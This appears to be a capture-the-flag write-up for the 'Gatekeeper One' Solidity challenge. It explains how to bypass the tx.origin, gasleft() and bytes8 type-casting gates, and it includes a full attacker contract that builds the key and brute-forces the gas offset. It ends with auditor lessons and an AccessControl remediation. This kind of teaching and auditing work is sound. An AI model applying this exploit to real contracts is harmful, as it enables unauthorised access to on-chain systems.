🚪 Gatekeeper One - The Multi-Gate Challenge
Challenge Overview
The goal of this level is to bypass three distinct security gates to register our address as the entrant of the GatekeeperOne contract.
The Catch:
- Gate One checks the transaction caller source.
- Gate Two requires the exact amount of remaining gas at a specific execution step to be a multiple of
8191. - Gate Three checks specific type casting and size matching logic on our submitted 8-byte key.
Technical Analysis
Let’s examine the three gates in GatekeeperOne.sol:
modifier gateOne() { require(msg.sender != tx.origin); _;}
modifier gateTwo() { require(gasleft() % 8191 == 0); _;}
modifier gateThree(bytes8 _gateKey) { require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "Gate3: Failed on part 1"); require(uint32(uint64(_gateKey)) != uint64(_gateKey), "Gate3: Failed on part 2"); require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "Gate3: Failed on part 3"); _;}Gate One: Origin Verification
- The Check:
require(msg.sender != tx.origin) - The Bypass: Like the
Telephonechallenge, calling the contract from an intermediate attack contract instead of our EOA immediately satisfies this constraint (msg.senderbecomes the attack contract, whiletx.originremains our EOA).
Gate Three: Bitwise and Type Casting
-
The Check: Requires the 8-byte key (
bytes8) to satisfy three distinct properties when cast to integers. Let’s represent the key as a 64-bit unsigned integerK(which isuint64equivalent ofbytes8):uint32(K) == uint16(K): The lower 32 bits must equal the lower 16 bits. This requires bits 16 to 31 to be all zeros.uint32(K) != K: The lower 32 bits must NOT equal the full 64-bit value. This requires that the upper 32 bits are non-zero.uint32(K) == uint16(uint160(tx.origin)): The lower 32 bits must equal the lower 16 bits of thetx.originaddress.
-
The Key Derivation: We can construct
Kby taking the lower 64 bits oftx.origin, masking it to zero out bits 16-31, and forcing the upper 32 bits to be non-zero:bytes8 gateKey = bytes8(uint64(uint160(tx.origin)) & 0xFFFFFFFF0000FFFF);- Part 1:
0x0000FFFFkeeps bits 16-31 set to0000, souint32(K) == uint16(K)is satisfied. - Part 2: The upper 32 bits are preserved from the player’s address (which is almost certainly non-zero) or we can force them to be non-zero (e.g., masking with
0xFFFFFFFF0000FFFF), makinguint32(K) != Ksatisfied. - Part 3: The lower 16 bits match the lower 16 bits of
tx.origin, satisfying the final check.
- Part 1:
Gate Two: Exact Gas Brute-Forcing
- The Check:
require(gasleft() % 8191 == 0) - The Challenge:
gasleft()reads the remaining gas at the point of instruction execution. Calculating the exact opcode gas cost up to this point is extremely fragile because compiler optimizations, Solidity versions, and EVM clients can shift the offset by a few units. - The Bypass: Instead of guessing the exact offset, we can program our attack contract to brute-force the transaction gas. We know that
gas = (8191 * 10) + offset. We can loopoffsetfrom0to8191and send the transaction usingcall{gas: ...}. When the correct offset is reached, the transaction will succeed.
The Exploit: The Multi-Step Solution
- Deploy an Attack Contract: Deploy an exploit contract that takes the target address and constructs the key using our player
tx.origin. - Execute Gas Brute-Force: The exploit contract runs a loop calling
target.enter{gas: 8191 * 10 + i}(gateKey)whereirepresents our gas offset search space (typically0to300is sufficient). - Verify Success: Once the loop finds the working gas amount, it registers our EOA as the entrant.
Proof of Concept (PoC)
Below is the Solidity exploit contract:
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;
interface IGatekeeperOne { function enter(bytes8 _gateKey) external returns (bool);}
contract GatekeeperOneAttacker { IGatekeeperOne public immutable target;
constructor(address _target) { target = IGatekeeperOne(_target); }
function attack() external { // Calculate the gate key based on tx.origin bytes8 gateKey = bytes8(uint64(uint160(tx.origin)) & 0xFFFFFFFF0000FFFF);
// Brute-force the exact gas offset // 8191 * 10 is a safe baseline gas level for (uint256 i = 0; i < 8191; i++) { (bool success, ) = address(target).call{gas: 8191 * 10 + i}( abi.encodeWithSignature("enter(bytes8)", gateKey) ); if (success) { break; // Stop immediately upon successful entry } } }}Deploy this contract, call attack(), and verify that entrant has been updated to your player address!
Auditor’s Lessons
- Fragile Gas Assumptions: Never base flow control or logical checks on exact gas amounts (
gasleft()). Opcode gas costs change between Ethereum hard forks, meaning contracts relying on exact gas amounts can break permanently. - Complex Bitwise Obfuscation is Not Security: Security-by-obscurity through complex bitwise shifts or type-casting checks does not secure a contract. It merely delays analysis.
- Contracts are Programmatic EOAs: Never rely on
msg.sender != tx.originto check if a call came from a human. High-fidelity integrations and smart contract wallets (Safe) rely heavily on proxy execution.
Remediation
Remove gas checking and complex casting validation. Restrict access using modern explicit access patterns (e.g. OpenZeppelin AccessControl):
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/AccessControl.sol";
contract SecureGatekeeper is AccessControl { bytes32 public constant ENTRANTS_ROLE = keccak256("ENTRANTS_ROLE"); address public entrant;
constructor() { _grantRole(DEFAULT_ADMIN_ROLE, msg.sender); }
// Standard secure entry authorization function enter(address _newEntrant) external onlyRole(ENTRANTS_ROLE) { entrant = _newEntrant; }}